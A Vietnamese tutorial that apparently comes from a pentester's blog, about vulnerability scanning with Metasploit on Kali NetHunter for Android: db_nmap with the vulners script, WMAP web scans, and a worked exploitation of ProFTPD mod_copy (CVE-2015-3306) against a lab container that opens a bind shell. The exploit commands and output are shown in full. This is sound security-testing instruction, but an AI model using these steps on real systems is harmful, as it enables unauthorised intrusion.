Trong quá trình thử nghiệm Kali Nethunter trên OnePlus, mình đã tìm kiếm các công cụ và quy trình làm việc có thể chạy trên một thứ gì đó nhẹ như điện thoại Android. Mình cũng muốn xem mình có thể đi được bao xa mà không cần phải dùng VPS hay Server bên ngoài.
Quét lỗ hổng bảo mật bằng OpenVAS, Nessus hoặc bất kỳ thứ gì khác chạy tốt trên phần cứng nhẹ. Theo kinh nghiệm của mình, một máy quét lỗ hổng chuyên dụng sẽ khá tốn nhiều tài nguyên.
Vì vậy, khi sử dụng Metasploit làm công cụ chính để khai thác phần mềm dễ bị tấn công, mình muốn chia sẻ một số mẹo mà mình đã tìm thấy để thực hiện quét lỗ hổng bảo mật bằng Metasploit.
Nmap + Metasploit
Gần đây mình đã phát hiện ra rằng bạn có thể sử dụng nmap trực tiếp từ Metasploit bằng cách sử dụng mô-đun db_nmap
. Sử dụng mô-đun này khá tốt vì bạn có thể nhận được kết quả được nhập trực tiếp vào Metasploit.
Dưới đây là một ví dụ về lệnh db_nmap trong Metasploit:
msf6 > db_nmap -sV 192.168.1.5
Đây là kết quả đầu ra (máy chủ này đang chạy container Docker dễ bị tấn công):
msf6 > db_nmap -sV 192.168.1.5 [*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 03:47 UTC [*] Nmap: Nmap scan report for 192.168.1.5 (192.168.1.5) [*] Nmap: Host is up (0.12s latency). [*] Nmap: rDNS record for 192.168.1.5: 192.168.1.5.vultr.com [*] Nmap: Not shown: 991 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 21/tcp open ftp ProFTPD 1.3.5 [*] Nmap: 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) [*] Nmap: 25/tcp filtered smtp [*] Nmap: 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) [*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) [*] Nmap: 631/tcp open ipp CUPS 1.7 [*] Nmap: 6667/tcp open irc UnrealIRCd [*] Nmap: Service Info: Hosts: VULN, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds
Bây giờ, Metasploit đã biết về các dịch vụ trên máy chủ đó. Kiểm tra bằng lệnh services
:
msf6 > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.1.5 21 tcp ftp open ProFTPD 1.3.5 192.168.1.5 22 tcp ssh open OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; proto col 2.0 192.168.1.5 25 tcp smtp filtered 192.168.1.5 80 tcp http open Apache httpd 2.4.7 (Ubuntu) 192.168.1.5 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP 192.168.1.5 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP 192.168.1.5 631 tcp ipp open CUPS 1.7 192.168.1.5 6667 tcp irc open UnrealIRCd
Với db_nmap
, nó sẽ tự động nhập các lỗ hổng nếu bạn sử dụng bất kỳ tập lệnh quét lỗ hổng nào của nmap.
Đây là một lệnh ví dụ:
msf6 > db_nmap -sV --script=vulners.nse 192.168.1.5
Sau khi hoàn thành lệnh đó, mình có thể sử dụng lệnh vulns
để kiểm tra các khai thác được lưu trữ trong Metasploit đã được phát hiện bằng cách sử dụng nmap:
msf6 > vulns Vulnerabilities =============== Timestamp Host Name References --------- ---- ---- ---------- 2021-08-08 03:55:55 UTC 192.168.1.5 cpe:/a:proftpd:proftpd:1.3.5 CVE-2015-3306,SAINT:950EB68D408A40399926A4CCAD3CC62E,SAINT:63FB77B9136D48259E4F0D4CDA35E957,SAINT:1B08F4664C428B180EEC9617B41D9A2C,PROFTPD_MOD_COPY,PACKETSTORM:162777,PACKETSTORM:132218,PACKETSTORM:131567,PACKETSTORM:131555,PACKETSTORM:131505,MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC,EDB-ID:49908,EDB-ID:37262,EDB-ID:36803,EDB-ID:36742,1337DAY-ID-23720,1337DAY-ID-23544,SSV:61050,MSF:ILITIES/SUSE-CVE-2019-18217/,CVE-2019-19272,CVE-2019-19271,CVE-2019-19270,CVE-2019-18217,CVE-2016-3125,CVE-2013-4359,CVE-2017-7418 <snipped>
Bạn có thể thấy có một lỗ hổng mà Metasploit đã khai thác trong đầu ra ở trên của các tệp tin:
MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC
Vì vậy, hãy khai thác nó:
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.1.5 RHOSTS => 192.168.1.5 msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html SITEPATH => /var/www/html msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/bind_awk payload => cmd/unix/bind_awk msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run [*] 192.168.1.5:80 - 192.168.1.5:21 - Connected to FTP server [*] 192.168.1.5:80 - 192.168.1.5:21 - Sending copy commands to FTP server [*] 192.168.1.5:80 - Executing PHP payload /VlrUb.php [*] Started bind TCP handler against 192.168.1.5:4444 [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.5:4444) at 2021-08-08 04:21:30 +0000
Shell được tạo bằng cách sử dụng kết quả quét lỗ hổng bảo mật được thực hiện trên điện thoại Android.
Mình khuyên bạn nên sử dụng thêm các tập lệnh quét lỗ hổng nmap với mô-đun db_nmap
của Metasploit.
Quét lỗ hổng ứng dụng web
Metasploit có một mô-đun quét lỗ hổng ứng dụng web được tích hợp sẵn: WMAP:
Tài liệu về WMAP trong repo Github cũ của người khác giải thích điều khiến WMAP trở nên đặc biệt:
https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt
Có vẻ như nó không được cập nhật trong 10 năm. Theo giải thích trong liên kết ở trên, WMAP sẽ sử dụng thông tin được lưu trữ trong cơ sở dữ liệu để tấn công mục tiêu của bạn một cách thông minh. Ngoài ra, bạn có thể tạo hồ sơ WMAP để sử dụng các mô-đun mới hơn hoặc thậm chí tùy chỉnh trong Metasploit – điều này làm cho WMAP có thể mở rộng và vẫn phù hợp ở hiện tại.
Đầu tiên, tải wmap
và định cấu hình mục tiêu của bạn:
msf6 > load wmap .-.-.-..-.-.-..---..---. | | | || | | || | || |-' `-----'`-'-'-'`-^-'`-' [WMAP 1.5.1] === et [ ] metasploit.com 2012 [*] Successfully loaded plugin: wmap msf6 > wmap_sites -a http://192.168.1.5 [*] Site created. msf6 > wmap_targets -t http://192.168.1.5/drupal msf6 > wmap_targets -l [*] Defined targets =============== Id Vhost Host Port SSL Path -- ----- ---- ---- --- ---- 0 192.168.1.5 192.168.1.5 80 false /drupal
Tiếp theo, chạy thử nghiệm đối với mục tiêu của bạn:
msf6 > wmap_run -t [*] Testing target: [*] Site: 192.168.1.5 (192.168.1.5) [*] Port: 80 SSL: false ============================================================ [*] Testing started. 2021-08-08 04:43:27 +0000 [*] Loading wmap modules... <snipped>
Cuối cùng, chạy lệnh quét:
msf6 > wmap_run -e [*] Using ALL wmap enabled modules. [-] NO WMAP NODES DEFINED. Executing local modules [*] Testing target: [*] Site: 192.168.1.5 (192.168.1.5) [*] Port: 80 SSL: false ============================================================ [*] Testing started. 2021-08-08 04:50:06 +0000 [*] =[ SSL testing ]= ============================================================ [*] Target is not SSL. SSL modules disabled. [*] =[ Web Server testing ]= ============================================================ [*] Module auxiliary/scanner/http/http_version [+] 192.168.1.5:80 Apache/2.4.7 (Ubuntu) [*] Module auxiliary/scanner/http/open_proxy [*] Module auxiliary/admin/http/tomcat_administration <snipped>
Sử dụng cấu hình WMAP tùy chỉnh
Trong repo Metasploit Github có một số tài liệu hướng dẫn cách bạn có thể mở rộng WMAP để sử dụng các mô-đun khác bằng cách sử dụng cấu hình WMAP:
Đây là file:
# # WMAP 1.0 Sample Profile # wmap_run -e /path/to/profile # # Just add the name of the module. Use # for comments # frontpage frontpage_login options version backup_file #blind_sql_query #brute_dirs copy_of_file dir_listing dir_scanner file_same_name_dir writable
Bạn có thể thấy từ các nhận xét trong tệp rằng bạn có thể mở rộng WMAP để sử dụng các mô-đun khác. Điều này làm cho WMAP thực sự hữu ích vì bạn có thể kiểm tra các mô-đun Metasploit mới hơn hoặc tùy chỉnh trên Web Server.
Vì vậy, như một ví dụ đơn giản, bạn có thể sử dụng cấu hình ví dụ đó, đặt nó vào /tmp/wmap-profile
và sau đó chạy cấu hình WMAP bằng lệnh sau trong Metasploit:
msf6 > wmap_run -e /tmp/wmap-profile
Như mình đã nói trước đó, việc này làm cho WMAP có thể mở rộng và có thể sẽ giữ nó mãi mãi hữu ích khi Rapid 7 tiếp tục tạo và cập nhật các mô-đun của Metasploit.